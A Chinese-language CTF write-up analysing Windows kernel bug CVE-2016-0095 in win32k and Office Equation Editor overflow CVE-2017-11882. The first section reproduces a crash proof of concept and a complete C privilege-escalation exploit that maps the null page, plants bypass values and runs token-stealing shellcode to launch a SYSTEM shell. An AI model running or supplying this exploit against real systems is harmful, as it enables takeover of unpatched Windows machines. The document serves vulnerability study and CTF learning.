在 unctf 里面发现一道 病毒常用的 office 的漏洞
一个是内核漏洞
CVE-2016-0095 和 CVE-2017-11882
开始
先说一下 CVE-2016-0095
这个是内核漏洞 产生的原因是 内核空指针解引用的漏洞
漏洞出现在了
win32k 里面
题目是给了一个poc 然后让修复这个poc 并且拿到 system 的权限 get shell
这里是用的 tj 师傅博客上的代码 能在vs上直接编译运行的
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include<Windows.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int main()
{
Trigger_BSoDPoc();
return 0;
}
首先还是 在ida 里面分析一下触发漏洞的函数
发现了这里
就是在 bGetRealizedBrush 这个里面
出现了一个 空指针引用的情况。。。 这里就是提供的poc 的蓝屏点
访问无效内存,,,, 导致了蓝屏 = =
然后往下走 会发现一个漏洞点
call edi 本来这一行其实也没有啥毛病 但是 在看edi 的值 回溯的时候发现了 edi 的值是
eax上面的值 在 伪代码里面看的话 就是这个样子
a2 的值
a2的结构是 struct EBRUSHOBJ *a2 EBRUSHOBJ 是未公开结构体, so 只能往上分析
发现 传入了 a1 然后继续 往上分析,,,
在 EngBitBlt
发现了 a9 那么我们继续往上分析
但是 用ida 的交叉引用发现a9都是0 这不太符合逻辑 ,,
最后 kb 看堆栈 发现回溯到了这里
v7 就是 EngBitBlt 的函数指针,,
翻到最后其实 可以发现的是 ob+0xCh的地方
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
那么也就是 hdev 没有正确出初始化 导致的错误
那么 我们知道了这些 又知道了程序的bug点还有利用点 就很容易写出来poc了
poc的重点就是申请0地址空间 那么
不过要绕过以下判断
需要置0+0x590位置的值为不为0的数
紧接着下面的就是 需要置0x592位置的值为不为0的数
call edi 这里面有一个
这里检查的是0x748的位置,这个地方需要edi和esi做比较,edi不为0,这里赋值为替换token的shellcode的值就是不为0的值了,直接可以跳转。
然后就可以直接 call edi get shell 了
这里直接用 k0shl 大佬的脚本
基本就是上面的思路 (但是怎么触发这个漏洞的过程还是不太清晰 但是利用的话可以的)
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; save registers state
xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
return 0;
}
typedef struct _GDICELL {
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL, *PGDICELL;
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
HBITMAP hBitmap;
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110;
typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main(int argc, char* argv[])
{
HANDLE hProcess;
DWORD dwPID = GetCurrentProcessId();
DWORD Virtual_BaseAddr = 1;
SIZE_T RegionSize = 0x1000;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess,
(LPVOID*)&Virtual_BaseAddr,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (VirtualMemory_Result != 0x0)
printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X\n", VirtualMemory_Result);
else {
printf(" [*] Allocated memory at BaseAddress");
}
memset(0x0, 0, 0x1000);
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
Trigger_BSoDPoc();
Cmd();
return 0;
}
提权成功 = =
CVE-2017-11882
这个是我在 unctf遇到的一道re题目 当时看的时候 就感觉 这个题目其实不会太难
题目其实很简单
根据题目提示 OFFICE 2017年某CVE
去百度找找就知道是哪个了,根据搜索到的内容走遍流程就行了,
先找溢出点,入口点,这个一般用工具
然后打开一个正常rtf
用OD先附加
在溢出点打上断点
然或加载样本文档
然后 这个是做题的方法 并不是我们学习这个CVE的方法 我们来具体分析 EQNEDT32.EXE 这个exe
主要漏洞点在 sub_4115A7 这个函数里面 的 sub_41160F函数
进里面分析一波
很明显的一个栈溢出漏洞,,
那么利用也就很简单了,。。
重点就是在于
伪造 rtf 的结构 然后加入shellcode 就ok
不过。。。 2017年 微软的offic 还有栈溢出,, 蛮吃惊的,,
发现返回地址已经给修改了
然后直接执行shellcode
然后拿到flag= =
题目不算太难,
这个cve 本身也算是一个简单的点 在office 2016一下 全杀 是office病毒特别喜欢利用的漏洞
参考连接
https://paper.seebug.org/298/#ms16-034
https://www.cnblogs.com/leibso-cy/p/11718008.html
https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup/blob/master/MS16-034-exp.cpp